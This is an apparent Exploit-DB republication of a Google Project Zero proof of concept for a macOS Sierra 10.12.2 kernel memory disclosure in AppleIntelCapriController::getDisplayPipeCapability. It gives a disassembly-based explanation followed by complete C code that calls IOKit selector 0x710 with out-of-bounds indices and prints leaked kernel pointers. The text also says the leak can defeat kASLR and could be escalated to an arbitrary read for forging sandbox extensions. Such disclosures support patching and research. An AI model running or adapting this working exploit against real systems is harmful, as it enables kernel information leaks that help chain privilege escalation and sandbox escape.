Apple macOS Kernel 10.12.2 (16C67) – Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability

  • 作者: Google Security Research
    日期: 2017-04-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41798/
  • /*
    Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1069
    
    MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
    
    Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
    
    This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
    uses to index an array of pointers with no bounds checking:
    
    AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
    __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
    __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
    ...
    __text:000000000002A3B8 mov eax, [rbx] ; read dword
    __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h]; use as index for small inline buffer in this object
    __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0; fail if byte at +0x1dc is 0
    __text:000000000002A3C9 jzshort ___fail
    __text:000000000002A3CB add rsi, 1E0Dh; otherwise, memcpy from that pointer +0x1e0dh
    __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
    __text:000000000002A3D7 mov rdi, r14; to the buffer which will be sent back to userspace
    __text:000000000002A3DA call_memcpy
    
    For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
    pointer there which will allow us to read back vtable contents and defeat kASLR.
    
    With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
    then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
    HMAC key and forge sandbox extensions if it still works like that.
    
    tested on MacOS Sierra 10.12.2 (16C67)
    */
    
    // ianbeer
    
    // build: clang -o capri_mem capri_mem.c -framework IOKit
    
    #if 0
    MacOS kernel memory disclosure due to lack of bounds checking in AppleIntelCapriController::getDisplayPipeCapability
    
    Selector 0x710 of IntelFBClientControl ends up in AppleIntelCapriController::getDisplayPipeCapability.
    
    This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
    uses to index an array of pointers with no bounds checking:
    
    AppleIntelCapriController::getDisplayPipeCapability(AGDCFBGetDisplayCapability_t *, AGDCFBGetDisplayCapability_t *)
    __text:000000000002A3AB mov r14, rdx ; output buffer, readable from userspace
    __text:000000000002A3AE mov rbx, rsi ; input buffer, controlled from userspace
    ...
    __text:000000000002A3B8 mov eax, [rbx] ; read dword
    __text:000000000002A3BA mov rsi, [rdi+rax*8+0E40h]; use as index for small inline buffer in this object
    __text:000000000002A3C2 cmp byte ptr [rsi+1DCh], 0; fail if byte at +0x1dc is 0
    __text:000000000002A3C9 jzshort ___fail
    __text:000000000002A3CB add rsi, 1E0Dh; otherwise, memcpy from that pointer +0x1e0dh
    __text:000000000002A3D2 mov edx, 1D8h ; 0x1d8 bytes
    __text:000000000002A3D7 mov rdi, r14; to the buffer which will be sent back to userspace
    __text:000000000002A3DA call_memcpy
    
    For this PoC we try to read the pointers at 0x2000 byte boundaries after this allocation; with luck there will be a vtable
    pointer there which will allow us to read back vtable contents and defeat kASLR.
    
    With a bit more effort this could be turned into an (almost) arbitrary read by for example spraying the kernel heap with the desired read target
    then using a larger offset hoping to land in one of the sprayed buffers. A kernel arbitrary read would, for example, allow you to read the sandbox.kext
    HMAC key and forge sandbox extensions if it still works like that.
    
    tested on MacOS Sierra 10.12.2 (16C67)
    #endif
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    #include <mach/mach_error.h>
    
    #include <IOKit/IOKitLib.h>
    
    int main(int argc, char** argv){
    kern_return_t err;
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
    
    if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
    }
    
    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), 0, &conn);
    if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
    }
    
    uint64_t inputScalar[16];
    uint64_t inputScalarCnt = 0;
    
    char inputStruct[4096];
    size_t inputStructCnt = 4096;
    
    uint64_t outputScalar[16];
    uint32_t outputScalarCnt = 0;
    
    char outputStruct[4096];
    size_t outputStructCnt = 0x1d8;
    
    for (int step = 1; step < 1000; step++) {
    memset(inputStruct, 0, inputStructCnt);
    *(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
    
    outputStructCnt = 4096;
    memset(outputStruct, 0, outputStructCnt);
    
    err = IOConnectCallMethod(
    conn,
    0x710,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 
    
    if (err == KERN_SUCCESS) {
    break;
    }
    
    printf("retrying 0x2000 up - %s\n", mach_error_string(err));
    }
    
    uint64_t* leaked = (uint64_t*)(outputStruct+3);
    for (int i = 0; i < 0x1d8/8; i++) {
    printf("%016llx\n", leaked[i]);
    }
    
    return 0;
    }